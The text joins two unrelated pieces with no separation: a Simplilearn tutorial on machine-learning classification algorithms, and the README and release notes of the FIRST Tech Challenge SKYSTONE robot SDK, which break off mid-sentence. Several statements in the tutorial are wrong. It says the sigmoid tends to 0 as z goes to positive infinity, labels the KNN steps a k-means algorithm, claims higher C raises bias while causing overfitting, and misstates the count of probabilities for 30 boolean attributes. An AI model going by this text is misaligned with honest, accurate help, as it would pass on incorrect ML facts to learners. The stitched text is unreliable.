Classification - Machine Learning This is ‘Classification’ tutorial which is a part of the Machine Learning course offered by Simplilearn. We will learn Classification algorithms, types of classification algorithms, support vector machines(SVM), Naive Bayes, Decision Tree and Random Forest Classifier in this tutorial. Objectives Let us look at some of the objectives covered under this section of Machine Learning tutorial. Define Classification and list its algorithms Describe Logistic Regression and Sigmoid Probability Explain K-Nearest Neighbors and KNN classification Understand Support Vector Machines, Polynomial Kernel, and Kernel Trick Analyze Kernel Support Vector Machines with an example Implement the Naïve Bayes Classifier Demonstrate Decision Tree Classifier Describe Random Forest Classifier Classification: Meaning Classification is a type of supervised learning. It specifies the class to which data elements belong to and is best used when the output has finite and discrete values. It predicts a class for an input variable as well. There are 2 types of Classification: Binomial Multi-Class Classification: Use Cases Some of the key areas where classification cases are being used: To find whether an email received is a spam or ham To identify customer segments To find if a bank loan is granted To identify if a kid will pass or fail in an examination Classification: Example Social media sentiment analysis has two potential outcomes, positive or negative, as displayed by the chart given below. https://www.simplilearn.com/ice9/free_resources_article_thumb/classification-example-machine-learning.JPG This chart shows the classification of the Iris flower dataset into its three sub-species indicated by codes 0, 1, and 2. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-flower-dataset-graph.JPG The test set dots represent the assignment of new test data points to one class or the other based on the trained classifier model. Types of Classification Algorithms Let’s have a quick look into the types of Classification Algorithm below. Linear Models Logistic Regression Support Vector Machines Nonlinear models K-nearest Neighbors (KNN) Kernel Support Vector Machines (SVM) Naïve Bayes Decision Tree Classification Random Forest Classification Logistic Regression: Meaning Let us understand the Logistic Regression model below. This refers to a regression model that is used for classification. This method is widely used for binary classification problems. It can also be extended to multi-class classification problems. Here, the dependent variable is categorical: y ϵ {0, 1} A binary dependent variable can have only two values, like 0 or 1, win or lose, pass or fail, healthy or sick, etc In this case, you model the probability distribution of output y as 1 or 0. This is called the sigmoid probability (σ). If σ(θ Tx) > 0.5, set y = 1, else set y = 0 Unlike Linear Regression (and its Normal Equation solution), there is no closed form solution for finding optimal weights of Logistic Regression. Instead, you must solve this with maximum likelihood estimation (a probability model to detect the maximum likelihood of something happening). It can be used to calculate the probability of a given outcome in a binary model, like the probability of being classified as sick or passing an exam. https://www.simplilearn.com/ice9/free_resources_article_thumb/logistic-regression-example-graph.JPG Sigmoid Probability The probability in the logistic regression is often represented by the Sigmoid function (also called the logistic function or the S-curve): https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-function-machine-learning.JPG In this equation, t represents data values * the number of hours studied and S(t) represents the probability of passing the exam. Assume sigmoid function: https://www.simplilearn.com/ice9/free_resources_article_thumb/sigmoid-probability-machine-learning.JPG g(z) tends toward 1 as z -> infinity , and g(z) tends toward 0 as z -> infinity K-nearest Neighbors (KNN) K-nearest Neighbors algorithm is used to assign a data point to clusters based on similarity measurement. It uses a supervised method for classification. The steps to writing a k-means algorithm are as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-distribution-graph-machine-learning.JPG Choose the number of k and a distance metric. (k = 5 is common) Find k-nearest neighbors of the sample that you want to classify Assign the class label by majority vote. KNN Classification A new input point is classified in the category such that it has the most number of neighbors from that category. For example: https://www.simplilearn.com/ice9/free_resources_article_thumb/knn-classification-machine-learning.JPG Classify a patient as high risk or low risk. Mark email as spam or ham. Keen on learning about Classification Algorithms in Machine Learning? Click here! Support Vector Machine (SVM) Let us understand Support Vector Machine (SVM) in detail below. SVMs are classification algorithms used to assign data to various classes. They involve detecting hyperplanes which segregate data into classes. SVMs are very versatile and are also capable of performing linear or nonlinear classification, regression, and outlier detection. Once ideal hyperplanes are discovered, new data points can be easily classified. https://www.simplilearn.com/ice9/free_resources_article_thumb/support-vector-machines-graph-machine-learning.JPG The optimization objective is to find “maximum margin hyperplane” that is farthest from the closest points in the two classes (these points are called support vectors). In the given figure, the middle line represents the hyperplane. SVM Example Let’s look at this image below and have an idea about SVM in general. Hyperplanes with larger margins have lower generalization error. The positive and negative hyperplanes are represented by: https://www.simplilearn.com/ice9/free_resources_article_thumb/positive-negative-hyperplanes-machine-learning.JPG Classification of any new input sample xtest : If w0 + wTxtest > 1, the sample xtest is said to be in the class toward the right of the positive hyperplane. If w0 + wTxtest < -1, the sample xtest is said to be in the class toward the left of the negative hyperplane. When you subtract the two equations, you get: https://www.simplilearn.com/ice9/free_resources_article_thumb/equation-subtraction-machine-learning.JPG Length of vector w is (L2 norm length): https://www.simplilearn.com/ice9/free_resources_article_thumb/length-of-vector-machine-learning.JPG You normalize with the length of w to arrive at: https://www.simplilearn.com/ice9/free_resources_article_thumb/normalize-equation-machine-learning.JPG SVM: Hard Margin Classification Given below are some points to understand Hard Margin Classification. The left side of equation SVM-1 given above can be interpreted as the distance between the positive (+ve) and negative (-ve) hyperplanes; in other words, it is the margin that can be maximized. Hence the objective of the function is to maximize with the constraint that the samples are classified correctly, which is represented as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-machine-learning.JPG This means that you are minimizing ‖w‖. This also means that all positive samples are on one side of the positive hyperplane and all negative samples are on the other side of the negative hyperplane. This can be written concisely as : https://www.simplilearn.com/ice9/free_resources_article_thumb/hard-margin-classification-formula.JPG Minimizing ‖w‖ is the same as minimizing. This figure is better as it is differentiable even at w = 0. The approach listed above is called “hard margin linear SVM classifier.” SVM: Soft Margin Classification Given below are some points to understand Soft Margin Classification. To allow for linear constraints to be relaxed for nonlinearly separable data, a slack variable is introduced. (i) measures how much ith instance is allowed to violate the margin. The slack variable is simply added to the linear constraints. https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-machine-learning.JPG Subject to the above constraints, the new objective to be minimized becomes: https://www.simplilearn.com/ice9/free_resources_article_thumb/soft-margin-calculation-formula.JPG You have two conflicting objectives now—minimizing slack variable to reduce margin violations and minimizing to increase the margin. The hyperparameter C allows us to define this trade-off. Large values of C correspond to larger error penalties (so smaller margins), whereas smaller values of C allow for higher misclassification errors and larger margins. https://www.simplilearn.com/ice9/free_resources_article_thumb/machine-learning-certification-video-preview.jpg SVM: Regularization The concept of C is the reverse of regularization. Higher C means lower regularization, which increases bias and lowers the variance (causing overfitting). https://www.simplilearn.com/ice9/free_resources_article_thumb/concept-of-c-graph-machine-learning.JPG IRIS Data Set The Iris dataset contains measurements of 150 IRIS flowers from three different species: Setosa Versicolor Viriginica Each row represents one sample. Flower measurements in centimeters are stored as columns. These are called features. IRIS Data Set: SVM Let’s train an SVM model using sci-kit-learn for the Iris dataset: https://www.simplilearn.com/ice9/free_resources_article_thumb/svm-model-graph-machine-learning.JPG Nonlinear SVM Classification There are two ways to solve nonlinear SVMs: by adding polynomial features by adding similarity features Polynomial features can be added to datasets; in some cases, this can create a linearly separable dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/nonlinear-classification-svm-machine-learning.JPG In the figure on the left, there is only 1 feature x1. This dataset is not linearly separable. If you add x2 = (x1)2 (figure on the right), the data becomes linearly separable. Polynomial Kernel In sci-kit-learn, one can use a Pipeline class for creating polynomial features. Classification results for the Moons dataset are shown in the figure. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-machine-learning.JPG Polynomial Kernel with Kernel Trick Let us look at the image below and understand Kernel Trick in detail. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-with-kernel-trick.JPG For large dimensional datasets, adding too many polynomial features can slow down the model. You can apply a kernel trick with the effect of polynomial features without actually adding them. The code is shown (SVC class) below trains an SVM classifier using a 3rd-degree polynomial kernel but with a kernel trick. https://www.simplilearn.com/ice9/free_resources_article_thumb/polynomial-kernel-equation-machine-learning.JPG The hyperparameter coefθ controls the influence of high-degree polynomials. Kernel SVM Let us understand in detail about Kernel SVM. Kernel SVMs are used for classification of nonlinear data. In the chart, nonlinear data is projected into a higher dimensional space via a mapping function where it becomes linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-machine-learning.JPG In the higher dimension, a linear separating hyperplane can be derived and used for classification. A reverse projection of the higher dimension back to original feature space takes it back to nonlinear shape. As mentioned previously, SVMs can be kernelized to solve nonlinear classification problems. You can create a sample dataset for XOR gate (nonlinear problem) from NumPy. 100 samples will be assigned the class sample 1, and 100 samples will be assigned the class label -1. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-graph-machine-learning.JPG As you can see, this data is not linearly separable. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-non-separable.JPG You now use the kernel trick to classify XOR dataset created earlier. https://www.simplilearn.com/ice9/free_resources_article_thumb/kernel-svm-xor-machine-learning.JPG Naïve Bayes Classifier What is Naive Bayes Classifier? Have you ever wondered how your mail provider implements spam filtering or how online news channels perform news text classification or even how companies perform sentiment analysis of their audience on social media? All of this and more are done through a machine learning algorithm called Naive Bayes Classifier. Naive Bayes Named after Thomas Bayes from the 1700s who first coined this in the Western literature. Naive Bayes classifier works on the principle of conditional probability as given by the Bayes theorem. Advantages of Naive Bayes Classifier Listed below are six benefits of Naive Bayes Classifier. Very simple and easy to implement Needs less training data Handles both continuous and discrete data Highly scalable with the number of predictors and data points As it is fast, it can be used in real-time predictions Not sensitive to irrelevant features Bayes Theorem We will understand Bayes Theorem in detail from the points mentioned below. According to the Bayes model, the conditional probability P(Y|X) can be calculated as: P(Y|X) = P(X|Y)P(Y) / P(X) This means you have to estimate a very large number of P(X|Y) probabilities for a relatively small vector space X. For example, for a Boolean Y and 30 possible Boolean attributes in the X vector, you will have to estimate 3 billion probabilities P(X|Y). To make it practical, a Naïve Bayes classifier is used, which assumes conditional independence of P(X) to each other, with a given value of Y. This reduces the number of probability estimates to 2*30=60 in the above example. Naïve Bayes Classifier for SMS Spam Detection Consider a labeled SMS database having 5574 messages. It has messages as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-machine-learning.JPG Each message is marked as spam or ham in the data set. Let’s train a model with Naïve Bayes algorithm to detect spam from ham. The message lengths and their frequency (in the training dataset) are as shown below: https://www.simplilearn.com/ice9/free_resources_article_thumb/naive-bayes-spam-spam-detection.JPG Analyze the logic you use to train an algorithm to detect spam: Split each message into individual words/tokens (bag of words). Lemmatize the data (each word takes its base form, like “walking” or “walked” is replaced with “walk”). Convert data to vectors using scikit-learn module CountVectorizer. Run TFIDF to remove common words like “is,” “are,” “and.” Now apply scikit-learn module for Naïve Bayes MultinomialNB to get the Spam Detector. This spam detector can then be used to classify a random new message as spam or ham. Next, the accuracy of the spam detector is checked using the Confusion Matrix. For the SMS spam example above, the confusion matrix is shown on the right. Accuracy Rate = Correct / Total = (4827 + 592)/5574 = 97.21% Error Rate = Wrong / Total = (155 + 0)/5574 = 2.78% https://www.simplilearn.com/ice9/free_resources_article_thumb/confusion-matrix-machine-learning.JPG Although confusion Matrix is useful, some more precise metrics are provided by Precision and Recall. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-recall-matrix-machine-learning.JPG Precision refers to the accuracy of positive predictions. https://www.simplilearn.com/ice9/free_resources_article_thumb/precision-formula-machine-learning.JPG Recall refers to the ratio of positive instances that are correctly detected by the classifier (also known as True positive rate or TPR). https://www.simplilearn.com/ice9/free_resources_article_thumb/recall-formula-machine-learning.JPG Precision/Recall Trade-off To detect age-appropriate videos for kids, you need high precision (low recall) to ensure that only safe videos make the cut (even though a few safe videos may be left out). The high recall is needed (low precision is acceptable) in-store surveillance to catch shoplifters; a few false alarms are acceptable, but all shoplifters must be caught. Learn about Naive Bayes in detail. Click here! Decision Tree Classifier Some aspects of the Decision Tree Classifier mentioned below are. Decision Trees (DT) can be used both for classification and regression. The advantage of decision trees is that they require very little data preparation. They do not require feature scaling or centering at all. They are also the fundamental components of Random Forests, one of the most powerful ML algorithms. Unlike Random Forests and Neural Networks (which do black-box modeling), Decision Trees are white box models, which means that inner workings of these models are clearly understood. In the case of classification, the data is segregated based on a series of questions. Any new data point is assigned to the selected leaf node. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-machine-learning.JPG Start at the tree root and split the data on the feature using the decision algorithm, resulting in the largest information gain (IG). This splitting procedure is then repeated in an iterative process at each child node until the leaves are pure. This means that the samples at each node belonging to the same class. In practice, you can set a limit on the depth of the tree to prevent overfitting. The purity is compromised here as the final leaves may still have some impurity. The figure shows the classification of the Iris dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-classifier-graph.JPG IRIS Decision Tree Let’s build a Decision Tree using scikit-learn for the Iris flower dataset and also visualize it using export_graphviz API. https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-machine-learning.JPG The output of export_graphviz can be converted into png format: https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-output.JPG Sample attribute stands for the number of training instances the node applies to. Value attribute stands for the number of training instances of each class the node applies to. Gini impurity measures the node’s impurity. A node is “pure” (gini=0) if all training instances it applies to belong to the same class. https://www.simplilearn.com/ice9/free_resources_article_thumb/impurity-formula-machine-learning.JPG For example, for Versicolor (green color node), the Gini is 1-(0/54)2 -(49/54)2 -(5/54) 2 ≈ 0.168 https://www.simplilearn.com/ice9/free_resources_article_thumb/iris-decision-tree-sample.JPG Decision Boundaries Let us learn to create decision boundaries below. For the first node (depth 0), the solid line splits the data (Iris-Setosa on left). Gini is 0 for Setosa node, so no further split is possible. The second node (depth 1) splits the data into Versicolor and Virginica. If max_depth were set as 3, a third split would happen (vertical dotted line). https://www.simplilearn.com/ice9/free_resources_article_thumb/decision-tree-boundaries.JPG For a sample with petal length 5 cm and petal width 1.5 cm, the tree traverses to depth 2 left node, so the probability predictions for this sample are 0% for Iris-Setosa (0/54), 90.7% for Iris-Versicolor (49/54), and 9.3% for Iris-Virginica (5/54) CART Training Algorithm Scikit-learn uses Classification and Regression Trees (CART) algorithm to train Decision Trees. CART algorithm: Split the data into two subsets using a single feature k and threshold tk (example, petal length < “2.45 cm”). This is done recursively for each node. k and tk are chosen such that they produce the purest subsets (weighted by their size). The objective is to minimize the cost function as given below: https://www.simplilearn.com/ice9/free_resources_article_thumb/cart-training-algorithm-machine-learning.JPG The algorithm stops executing if one of the following situations occurs: max_depth is reached No further splits are found for each node Other hyperparameters may be used to stop the tree: min_samples_split min_samples_leaf min_weight_fraction_leaf max_leaf_nodes Gini Impurity or Entropy Entropy is one more measure of impurity and can be used in place of Gini. https://www.simplilearn.com/ice9/free_resources_article_thumb/gini-impurity-entrophy.JPG It is a degree of uncertainty, and Information Gain is the reduction that occurs in entropy as one traverses down the tree. Entropy is zero for a DT node when the node contains instances of only one class. Entropy for depth 2 left node in the example given above is: https://www.simplilearn.com/ice9/free_resources_article_thumb/entrophy-for-depth-2.JPG Gini and Entropy both lead to similar trees. DT: Regularization The following figure shows two decision trees on the moons dataset. https://www.simplilearn.com/ice9/free_resources_article_thumb/dt-regularization-machine-learning.JPG The decision tree on the right is restricted by min_samples_leaf = 4. The model on the left is overfitting, while the model on the right generalizes better. Random Forest Classifier Let us have an understanding of Random Forest Classifier below. A random forest can be considered an ensemble of decision trees (Ensemble learning). Random Forest algorithm: Draw a random bootstrap sample of size n (randomly choose n samples from the training set). Grow a decision tree from the bootstrap sample. At each node, randomly select d features. Split the node using the feature that provides the best split according to the objective function, for instance by maximizing the information gain. Repeat the steps 1 to 2 k times. (k is the number of trees you want to create, using a subset of samples) Aggregate the prediction by each tree for a new data point to assign the class label by majority vote (pick the group selected by the most number of trees and assign new data point to that group). Random Forests are opaque, which means it is difficult to visualize their inner workings. https://www.simplilearn.com/ice9/free_resources_article_thumb/random-forest-classifier-graph.JPG However, the advantages outweigh their limitations since you do not have to worry about hyperparameters except k, which stands for the number of decision trees to be created from a subset of samples. RF is quite robust to noise from the individual decision trees. Hence, you need not prune individual decision trees. The larger the number of decision trees, the more accurate the Random Forest prediction is. (This, however, comes with higher computation cost). Key Takeaways Let us quickly run through what we have learned so far in this Classification tutorial. Classification algorithms are supervised learning methods to split data into classes. They can work on Linear Data as well as Nonlinear Data. Logistic Regression can classify data based on weighted parameters and sigmoid conversion to calculate the probability of classes. K-nearest Neighbors (KNN) algorithm uses similar features to classify data. Support Vector Machines (SVMs) classify data by detecting the maximum margin hyperplane between data classes. Naïve Bayes, a simplified Bayes Model, can help classify data using conditional probability models. Decision Trees are powerful classifiers and use tree splitting logic until pure or somewhat pure leaf node classes are attained. Random Forests apply Ensemble Learning to Decision Trees for more accurate classification predictions. Conclusion This completes ‘Classification’ tutorial. In the next tutorial, we will learn 'Unsupervised Learning with Clustering.'

NOTICE This repository contains the public FTC SDK for the SKYSTONE (2019-2020) competition season. If you are looking for the current season's FTC SDK software, please visit the new and permanent home of the public FTC SDK: FtcRobotController repository Welcome! This GitHub repository contains the source code that is used to build an Android app to control a FIRST Tech Challenge competition robot. To use this SDK, download/clone the entire project to your local computer. Getting Started If you are new to robotics or new to the FIRST Tech Challenge, then you should consider reviewing the FTC Blocks Tutorial to get familiar with how to use the control system: FTC Blocks Online Tutorial Even if you are an advanced Java programmer, it is helpful to start with the FTC Blocks tutorial, and then migrate to the OnBot Java Tool or to Android Studio afterwards. Downloading the Project If you are an Android Studio programmer, there are several ways to download this repo. Note that if you use the Blocks or OnBot Java Tool to program your robot, then you do not need to download this repository. If you are a git user, you can clone the most current version of the repository: git clone https://github.com/FIRST-Tech-Challenge/SKYSTONE.git Or, if you prefer, you can use the "Download Zip" button available through the main repository page. Downloading the project as a .ZIP file will keep the size of the download manageable. You can also download the project folder (as a .zip or .tar.gz archive file) from the Downloads subsection of the Releases page for this repository. Once you have downloaded and uncompressed (if needed) your folder, you can use Android Studio to import the folder ("Import project (Eclipse ADT, Gradle, etc.)"). Getting Help User Documentation and Tutorials FIRST maintains online documentation with information and tutorials on how to use the FIRST Tech Challenge software and robot control system. You can access this documentation using the following link: SKYSTONE Online Documentation Note that the online documentation is an "evergreen" document that is constantly being updated and edited. It contains the most current information about the FIRST Tech Challenge software and control system. Javadoc Reference Material The Javadoc reference documentation for the FTC SDK is now available online. Click on the following link to view the FTC SDK Javadoc documentation as a live website: FTC Javadoc Documentation Documentation for the FTC SDK is also included with this repository. There is a subfolder called "doc" which contains several subfolders: The folder "apk" contains the .apk files for the FTC Driver Station and FTC Robot Controller apps. The folder "javadoc" contains the JavaDoc user documentation for the FTC SDK. Online User Forum For technical questions regarding the Control System or the FTC SDK, please visit the FTC Technology forum: FTC Technology Forum Release Information Version 5.5 (20200824-090813) Version 5.5 requires Android Studio 4.0 or later. New features Adds support for calling custom Java classes from Blocks OpModes (fixes SkyStone issue #161). Classes must be in the org.firstinspires.ftc.teamcode package. Methods must be public static and have no more than 21 parameters. Parameters declared as OpMode, LinearOpMode, Telemetry, and HardwareMap are supported and the argument is provided automatically, regardless of the order of the parameters. On the block, the sockets for those parameters are automatically filled in. Parameters declared as char or java.lang.Character will accept any block that returns text and will only use the first character in the text. Parameters declared as boolean or java.lang.Boolean will accept any block that returns boolean. Parameters declared as byte, java.lang.Byte, short, java.lang.Short, int, java.lang.Integer, long, or java.lang.Long, will accept any block that returns a number and will round that value to the nearest whole number. Parameters declared as float, java.lang.Float, double, java.lang.Double will accept any block that returns a number. Adds telemetry API method for setting display format Classic Monospace HTML (certain tags only) Adds blocks support for switching cameras. Adds Blocks support for TensorFlow Object Detection with a custom model. Adds support for uploading a custom TensorFlow Object Detection model in the Manage page, which is especially useful for Blocks and OnBotJava users. Shows new Control Hub blink codes when the WiFi band is switched using the Control Hub's button (only possible on Control Hub OS 1.1.2) Adds new warnings which can be disabled in the Advanced RC Settings Mismatched app versions warning Unnecessary 2.4 GHz WiFi usage warning REV Hub is running outdated firmware (older than version 1.8.2) Adds support for Sony PS4 gamepad, and reworks how gamepads work on the Driver Station Removes preference which sets gamepad type based on driver position. Replaced with menu which allows specifying type for gamepads with unknown VID and PID Attempts to auto-detect gamepad type based on USB VID and PID If gamepad VID and PID is not known, use type specified by user for that VID and PID If gamepad VID and PID is not known AND the user has not specified a type for that VID and PID, an educated guess is made about how to map the gamepad Driver Station will now attempt to automatically recover from a gamepad disconnecting, and re-assign it to the position it was assigned to when it dropped If only one gamepad is assigned and it drops: it can be recovered If two gamepads are assigned, and have different VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have different VID/PID signatures, and BOTH drop: both will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and only one drops: it will be recovered If two gamepads are assigned, and have the same VID/PID signatures, and BOTH drop: neither will be recovered, because of the ambiguity of the gamepads when they re-appear on the USB bus. There is currently one known edge case: if there are two gamepads with the same VID/PID signature plugged in, but only one is assigned, and they BOTH drop, it's a 50-50 chance of which one will be chosen for automatic recovery to the assigned position: it is determined by whichever one is re-enumerated first by the USB bus controller. Adds landscape user interface to Driver Station New feature: practice timer with audio cues New feature (Control Hub only): wireless network connection strength indicator (0-5 bars) New feature (Control Hub only): tapping on the ping/channel display will switch to an alternate display showing radio RX dBm and link speed (tap again to switch back) The layout will NOT autorotate. You can switch the layout from the Driver Station's settings menu. Breaking changes Removes support for Android versions 4.4 through 5.1 (KitKat and Lollipop). The minSdkVersion is now 23. Removes the deprecated LinearOpMode methods waitOneFullHardwareCycle() and waitForNextHardwareCycle() Enhancements Handles RS485 address of Control Hub automatically The Control Hub is automatically given a reserved address Existing configuration files will continue to work All addresses in the range of 1-10 are still available for Expansion Hubs The Control Hub light will now normally be solid green, without blinking to indicate the address The Control Hub will not be shown on the Expansion Hub Address Change settings page Improves REV Hub firmware updater The user can now choose between all available firmware update files Version 1.8.2 of the REV Hub firmware is bundled into the Robot Controller app. Text was added to clarify that Expansion Hubs can only be updated via USB. Firmware update speed was reduced to improve reliability Allows REV Hub firmware to be updated directly from the Manage webpage Improves log viewer on Robot Controller Horizontal scrolling support (no longer word wrapped) Supports pinch-to-zoom Uses a monospaced font Error messages are highlighted New color scheme Attempts to force-stop a runaway/stuck OpMode without restarting the entire app Not all types of runaway conditions are stoppable, but if the user code attempts to talk to hardware during the runaway, the system should be able to capture it. Makes various tweaks to the Self Inspect screen Renames "OS version" entry to "Android version" Renames "WiFi Direct Name" to "WiFi Name" Adds Control Hub OS version, when viewing the report of a Control Hub Hides the airplane mode entry, when viewing the report of a Control Hub Removes check for ZTE Speed Channel Changer Shows firmware version for all Expansion and Control Hubs Reworks network settings portion of Manage page All network settings are now applied with a single click The WiFi Direct channel of phone-based Robot Controllers can now be changed from the Manage page WiFi channels are filtered by band (2.4 vs 5 GHz) and whether they overlap with other channels The current WiFi channel is pre-selected on phone-based Robot Controllers, and Control Hubs running OS 1.1.2 or later. On Control Hubs running OS 1.1.2 or later, you can choose to have the system automatically select a channel on the 5 GHz band Improves OnBotJava New light and dark themes replace the old themes (chaos, github, chrome,...) the new default theme is light and will be used when you first update to this version OnBotJava now has a tabbed editor Read-only offline mode Improves function of "exit" menu item on Robot Controller and Driver Station Now guaranteed to be fully stopped and unloaded from memory Shows a warning message if a LinearOpMode exists prematurely due to failure to monitor for the start condition Improves error message shown when the Driver Station and Robot Controller are incompatible with each other Driver Station OpMode Control Panel now disabled while a Restart Robot is in progress Disables advanced settings related to WiFi direct when the Robot Controller is a Control Hub. Tint phone battery icons on Driver Station when low/critical. Uses names "Control Hub Portal" and "Control Hub" (when appropriate) in new configuration files Improve I2C read performance Very large improvement on Control Hub; up to ~2x faster with small (e.g. 6 byte) reads Not as apparent on Expansion Hubs connected to a phone Update/refresh build infrastructure Update to 'androidx' support library from 'com.android.support:appcompat', which is end-of-life Update targetSdkVersion and compileSdkVersion to 28 Update Android Studio's Android plugin to latest Fix reported build timestamp in 'About' screen Add sample illustrating manual webcam use: ConceptWebcam Bug fixes Fixes SkyStone issue #248 Fixes SkyStone issue #232 and modifies bulk caching semantics to allow for cache-preserving MANUAL/AUTO transitions. Improves performance when REV 2M distance sensor is unplugged Improves readability of Toast messages on certain devices Allows a Driver Station to connect to a Robot Controller after another has disconnected Improves generation of fake serial numbers for UVC cameras which do not provide a real serial number Previously some devices would assign such cameras a serial of 0:0 and fail to open and start streaming Fixes ftc_app issue #638. Fixes a slew of bugs with the Vuforia camera monitor including: Fixes bug where preview could be displayed with a wonky aspect ratio Fixes bug where preview could be cut off in landscape Fixes bug where preview got totally messed up when rotating phone Fixes bug where crosshair could drift off target when using webcams Fixes issue in UVC driver on some devices (ftc_app 681) if streaming was started/stopped multiple times in a row Issue manifested as kernel panic on devices which do not have this kernel patch. On affected devices which do have the patch, the issue was manifest as simply a failure to start streaming. The Tech Team believes that the root cause of the issue is a bug in the Linux kernel XHCI driver. A workaround was implemented in the SDK UVC driver. Fixes bug in UVC driver where often half the frames from the camera would be dropped (e.g. only 15FPS delivered during a streaming session configured for 30FPS). Fixes issue where TensorFlow Object Detection would show results whose confidence was lower than the minimum confidence parameter. Fixes a potential exploitation issue of CVE-2019-11358 in OnBotJava Fixes changing the address of an Expansion Hub with additional Expansion Hubs connected to it Preserves the Control Hub's network connection when "Restart Robot" is selected Fixes issue where device scans would fail while the Robot was restarting Fix RenderScript usage Use androidx.renderscript variant: increased compatibility Use RenderScript in Java mode, not native: simplifies build Fixes webcam-frame-to-bitmap conversion problem: alpha channel wasn't being initialized, only R, G, & B Fixes possible arithmetic overflow in Deadline Fixes deadlock in Vuforia webcam support which could cause 5-second delays when stopping OpMode Version 5.4 (20200108-101156) Fixes SkyStone issue #88 Adds an inspection item that notes when a robot controller (Control Hub) is using the factory default password. Fixes SkyStone issue #61 Fixes SkyStone issue #142 Fixes ftc_app issue #417 by adding more current and voltage monitoring capabilities for REV Hubs. Fixes a crash sometimes caused by OnBotJava activity Improves OnBotJava autosave functionality ftc_app #738 Fixes system responsiveness issue when an Expansion Hub is disconnected Fixes issue where IMU initialization could prevent Op Modes from stopping Fixes issue where AndroidTextToSpeech.speak() would fail if it was called too early Adds telemetry.speak() methods and blocks, which cause the Driver Station (if also updated) to speak text Adds and improves Expansion Hub-related warnings Improves Expansion Hub low battery warning Displays the warning immediately after the hub reports it Specifies whether the condition is current or occurred temporarily during an OpMode run Displays which hubs reported low battery Displays warning when hub loses and regains power during an OpMode run Fixes the hub's LED pattern after this condition Displays warning when Expansion Hub is not responding to commands Specifies whether the condition is current or occurred temporarily during an OpMode run Clarifies warning when Expansion Hub is not present at startup Specifies that this condition requires a Robot Restart before the hub can be used. The hub light will now accurately reflect this state Improves logging and reduces log spam during these conditions Syncs the Control Hub time and timezone to a connected web browser programming the robot, if a Driver Station is not available. Adds bulk read functionality for REV Hubs A bulk caching mode must be set at the Hub level with LynxModule#setBulkCachingMode(). This applies to all relevant SDK hardware classes that reference that Hub. The following following Hub bulk caching modes are available: BulkCachingMode.OFF (default): All hardware calls operate as usual. Bulk data can read through LynxModule#getBulkData() and processed manually. BulkCachingMode.AUTO: Applicable hardware calls are served from a bulk read cache that is cleared/refreshed automatically to ensure identical commands don't hit the same cache. The cache can also be cleared manually with LynxModule#clearBulkCache(), although this is not recommended. (advanced users) BulkCachingMode.MANUAL: Same as BulkCachingMode.AUTO except the cache is never cleared automatically. To avoid getting stale data, the cache must be manually cleared at the beginning of each loop body or as the user deems appropriate. Removes PIDF Annotation values added in Rev 5.3 (to AndyMark, goBILDA and TETRIX motor configurations). The new motor types will still be available but their Default control behavior will revert back to Rev 5.2 Adds new ConceptMotorBulkRead sample Opmode to demonstrate and compare Motor Bulk-Read modes for reducing I/O latencies. Version 5.3 (20191004-112306) Fixes external USB/UVC webcam support Makes various bugfixes and improvements to Blocks page, including but not limited to: Many visual tweaks Browser zoom and window resize behave better Resizing the Java preview pane works better and more consistently across browsers The Java preview pane consistently gets scrollbars when needed The Java preview pane is hidden by default on phones Internet Explorer 11 should work Large dropdown lists display properly on lower res screens Disabled buttons are now visually identifiable as disabled A warning is shown if a user selects a TFOD sample, but their device is not compatible Warning messages in a Blocks op mode are now visible by default. Adds goBILDA 5201 and 5202 motors to Robot Configurator Adds PIDF Annotation values to AndyMark, goBILDA and TETRIX motor configurations. This has the effect of causing the RUN_USING_ENCODERS and RUN_TO_POSITION modes to use PIDF vs PID closed loop control on these motors. This should provide more responsive, yet stable, speed control. PIDF adds Feedforward control to the basic PID control loop. Feedforward is useful when controlling a motor's speed because it "anticipates" how much the control voltage must change to achieve a new speed set-point, rather than requiring the integrated error to change sufficiently. The PIDF values were chosen to provide responsive, yet stable, speed control on a lightly loaded motor. The more heavily a motor is loaded (drag or friction), the more noticable the PIDF improvement will be. Fixes startup crash on Android 10 Fixes ftc_app issue #712 (thanks to FROGbots-4634) Fixes ftc_app issue #542 Allows "A" and lowercase letters when naming device through RC and DS apps. Version 5.2 (20190905-083277) Fixes extra-wide margins on settings activities, and placement of the new configuration button Adds Skystone Vuforia image target data. Includes sample Skystone Vuforia Navigation op modes (Java). Includes sample Skystone Vuforia Navigation op modes (Blocks). Adds TensorFlow inference model (.tflite) for Skystone game elements. Includes sample Skystone TensorFlow op modes (Java). Includes sample Skystone TensorFlow op modes (Blocks). Removes older (season-specific) sample op modes. Includes 64-bit support (to comply with Google Play requirements). Protects against Stuck OpModes when a Restart Robot is requested. (Thanks to FROGbots-4634) (ftc_app issue #709) Blocks related changes: Fixes bug with blocks generated code when hardware device name is a java or javascript reserved word. Shows generated java code for blocks, even when hardware items are missing from the active configuration. Displays warning icon when outdated Vuforia and TensorFlow blocks are used (SkyStone issue #27) Version 5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled 